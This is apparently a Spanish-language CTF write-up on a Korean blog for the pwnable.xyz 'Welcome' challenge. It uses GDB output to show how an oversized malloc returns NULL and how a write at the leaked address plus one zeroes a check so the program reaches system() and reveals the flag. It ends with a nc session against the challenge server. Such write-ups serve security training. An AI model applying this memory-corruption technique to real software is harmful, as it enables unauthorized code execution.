History view

Pwning in Linux

Trigger return NULL value in Malloc

theFaunia in the wild 2019. 2. 28. 18:03

Welcome

Date: 11/01/2019-12/01/2019 @naivenom

5.1 Reconocimiento

gef➤  checksec
[+] checksec for '/home/binary/pwnable.xyz/welcome/challenge'
Canary                        : Yes →  value: 0x9ce8bf03e7ef2500
NX                            : Yes
PIE                           : Yes
Fortify                       : Yes
RelRO                         : Full

5.2 Fast Pwn Analysis

Si usamos GDB la dirección del main la localizo empezando debuggeando por el entrypoint, en mi caso 0x555555554920
Ponemos un breakpoint ahí y empezamos a debuggear el main. Tan solo hay que saber que si se le pasa un size suficientemente grande a malloc() peta genera un segmentation fault. 0x55555555495b mov rbx, rax
En esta instrucción recibimos la dirección del Leak y se pasa a rbx->0x00007ffff7f9b010 0x55555555495e mov QWORD PTR [rax], 0x1 Seguidamente se le pasa 0x1, por lo cual nos impide que en la comprobación para entrar en la función system entre ya que lo compara con 0x0. El objetivo es que el contenido de rbx sea 0x0, y ahora es 0x1.
0x555555554998            call   0x555555554900
0x55555555499d            mov    rdi, QWORD PTR [rsp]
En estas instrucciones llama a un scanf() que nos pedira el Lenght. Por lo tanto vamos a introducir la dirección del leak+1. Este +1 es por que luego veremos en la instrucción mas clave de todas que hace un -1 al size, y el size es el Lenght vaya. 0x00007ffff7f9b010+1=140737353723921 Introducimos el valor en decimal. 0x5555555549a1 call 0x5555555548e8
En la llamada a malloc con el size que introdujimos peta, y cuando peta el valor de retorno de malloc() es NULL == 0x0. En el registro eax esta el resultado de lo que digo->$rax : 0x0 0x5555555549d6 mov BYTE PTR [rbp+rdx*1-0x1], 0x0
Esta instrucción es la clave vamos a ver que tenemos en rbp. Y en rbp tenemos 0x0 correspondiente al error NULL de malloc por lo tanto ya lo tenemos si en rdx ponemos justo la dirección del leak+0x1 le resta ahora 0x1 se queda igual y le mueve 0x0 que era lo que queríamos porque en la comparación compara rbx con 0x0, y la dirección de leak esta en rbx. Pwned.
gef➤  x/x $rdx*1-0x1
0x7ffff7f9b010:	0x00000001
gef➤  x/x $rbx
0x7ffff7f9b010:	0x00000001
Vaya!!, antes de llamar a esa instrucción resulta ser que estamos en lo cierto sin contar con rbp ya que algo sumado a cero no es nada. Es lo mismo!!. Veamos después de ejecutar la instrucción que es lo que pasa.
gef➤  x/x $rdx*1-0x1
0x7ffff7f9b010:	0x00000000
gef➤  x/x $rbx
0x7ffff7f9b010:	0x00000000
Esta a cero justo lo queriamos en rbx.
0x5555555549e0            cmp    QWORD PTR [rbx], 0x0
0x5555555549e4            jne    0x5555555549f2	NOT taken [Reason: !(!Z)]
Vemos que la comparación es igual por lo tanto no salta y entra en system y lee la flag! PWNED.

5.3 Explotación remota

binary@ubuntu:~/pwnable.xyz/welcome$ nc svc.pwnable.xyz 30000
Welcome.
Leak: 0x7f2ce6178010
Length of your message: 139830815588369
Enter your message: a
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

'Pwning in Linux' 카테고리의 다른 글

Exploit - Misalignment pwnable.xyz  (0) 2019.03.01
Exploit - GrownUp pwnable.xyz  (0) 2019.03.01
Brainfuck - GOT Dereferencing / Overwriting, ASLR/NX Bypass  (0) 2019.02.28
Basics Return-oriented programming  (0) 2019.02.28
Unlink  (0) 2019.02.28
Comments